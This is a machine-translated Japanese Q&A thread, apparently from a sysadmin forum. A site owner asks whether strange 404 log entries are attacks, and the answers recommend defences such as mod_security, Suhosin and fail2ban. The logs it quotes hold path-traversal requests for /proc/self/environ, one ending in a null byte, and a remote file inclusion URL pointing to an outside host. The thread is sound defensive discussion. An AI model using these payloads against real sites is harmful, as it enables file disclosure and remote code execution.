これはハッキングの試みですか？

404ログを調べると、次の2つのURLに気付きました。どちらも1回発生しました。

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ

そして

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00

問題のページには、半ダースの異なる許容値をlibrary.php持つtype変数が必要idです。次に変数が必要です。したがって、有効なURLは

library.php?type=Circle-K&id=Strange-Things-Are-Afoot

IDはすべてmysql_real_escape_string、データベースのクエリに使用される前にすべて実行されます。

私は新人ですが、これらのリンクの両方がwebrootに対する単純な攻撃であるように思えますか？

1） 404以外のこれらの種類の事柄から保護する最善の方法は？

2）責任のあるIPをパーマバンする必要がありますか？

編集：また、これに気づいた

/library.php=http://www.basfalt.no/scripts/danger.txt

編集2： 3つの攻撃すべての攻撃IPは216.97.231.15、ロサンゼルスのすぐ外にあるLunar Pagesと呼ばれるISP に由来します。

編集3：金曜日の朝、現地時間にISPに電話して、電話で連絡できる人と問題について話し合うことにしました。ここに結果を24時間ほどで投稿します。

編集4：私は最終的に彼らの管理者にメールを送り、彼らは最初に「彼らはそれを探していた」と答え、1日後に「この問題は今すぐ解決されるべきだ」と答えた。悲しいことに、それ以上の詳細はありません。

0）はい。少なくとも、脆弱性があるかどうかを発見しようとするサイトに対する体系的な調査です。

1）コードがクリーンであることを確認する以外に、できることは多くありませんが、ホストに対して独自のテストを実行して、安全であることを確認してください。Google Skipfishは、そこで役立つ多くのツールの1つです。

2）したい。

これは攻撃であり、ここで非常に説明されています。

他の人が言ったように：はい、それはハックの試みです。この可能性のある手作りの試みに加えて、ボットネットによって実行される自動化されたものがたくさんあることに注意してください。一般に、この種の攻撃は、SQLインジェクション、システムまたはファイルの漏洩などにつながるユーザー入力の検証の失敗など、古くからの脆弱性や典型的なコーディングの欠陥を潜り抜けようとしています。

ボットネットは最大で数千の一意のIPアドレスを使用できるため、これらのボットネットを手動で禁止することはほとんど不可能です。したがって、ボットネットを禁止するには、何らかの自動禁止プログラムを使用する必要があります。fail2banが思い浮かびます。mod_securityイベントまたはその他のログエントリに反応するようにします。

コードがクリーンでサーバーが強化されている場合、これらのハッキングの試みは迷惑なログ汚染にすぎません。ただし、予防措置を講じ、ニーズに応じて次の一部またはすべてを検討することをお勧めします。

• mod_securityは、あらゆる種類の典型的なハッキングの試みを除外する Apacheモジュールです。また、疑わしいJavaScriptなどが検出された場合、送信トラフィック（サーバーがクライアントに送信するページ）を制限できます。

• PHP自体を強化するためのSuhosin。

• スクリプトを所有するユーザーとしてPHPスクリプトを実行します。以下のようなものsuphpとのphp-FPMは、それが可能になります。

• webrootおよびPHPの一時ディレクトリをnoexec、nosuid、nodevとしてマウントします。

• systemやpassthruなどの不要なPHP関数を無効にします。

• 不要なPHPモジュールを無効にします。たとえば、IMAPサポートが必要ない場合は、有効にしないでください。

• サーバーを最新の状態に保ちます。

• ログに注意してください。

• バックアップがあることを確認してください。

• 誰かがあなたをハッキングしたり、他の災害があなたを襲った場合の対処方法を計画してください。

それは良いスタートです。次に、SnortやPreludeなどのさらに極端な手段がありますが、ほとんどのセットアップでは非常に過剰になります。

これらのクエリを作成しているマシンがボットネットゾンビである可能性は十分にあります。複数のIPからこれらの要求を取得している場合、インターネットを有効にするためにはインターネットの半分を禁止する必要があるため、おそらくそれらを禁止する価値はありません。

すでに述べたように、これは/ proc / self / environファイルにアクセスして詳細情報を取得しようとする試みです。

私はそれがLinuxマシンだと思います：

あなたが使用する必要があります

• suhosin（http://www.hardened-php.net/suhosin/）-php スクリプトを保護します
• PHPのopenbasedir制限を使用する
• fail2ban http://www.fail2ban.org/

攻撃しているサーバーのIPをブロックできますが、この機能では攻撃していない可能性があることを考慮する必要があります。

私のサーバーが攻撃を受けているとき、いくつかのサービスをブロックしていました：http / https / pop / imap / ssh。ただし、smtpは開いたままにしておきます。

はい、侵入の試みです。IPを完全に禁止する必要があります。IPが国外にあると判断した場合、IPが属するサブネット全体を禁止することができます。これは、サーバーの問題よりもコードの問題ではありません。この特定の侵入を調べて、ホスティングプロバイダーがそれまたは同様のスクリプトキディの試み（これがどのように見えるか）に対して脆弱でないことを確認してください。

これは、Webサーバーを介してアクセス可能なサーバー側スクリプトの潜在的な任意のローカルファイルインクルードの脆弱性を悪用する試みです。脆弱なLinuxシステムで/proc/self/environは、サーバーサイドで任意のコードを実行するために悪用される可能性があります。

Janne Pikkarainenが推奨するとおり：

ログに注意してください。

バックアップがあることを確認してください。

これらのログの一部として、侵入検知システムの一部として、Webサイトを含むファイルの変更を監視することが重要です。例は、構成ファイルに対してデフォルトでこれを行うOpenBSDです。私はこれを持ち出します：

• クラウドサイトの場合、カスタムビルドされたWebサイトのPHPファイルにわずかな変更がありました（これは単に非標準のタグを出力するだけでしたが、悪用の規模を測定するためのテストの一部でした）。
• 1人の同僚のWordPress .htaccessファイル内に微妙なリダイレクトがありました（Google検索結果からのリファラーのみ）。
• 別の同僚の場合、Joomlaの設定ファイルに微妙な変更がありました（何を思い出せないのか、特定の条件下でのリダイレクトだったと思います）。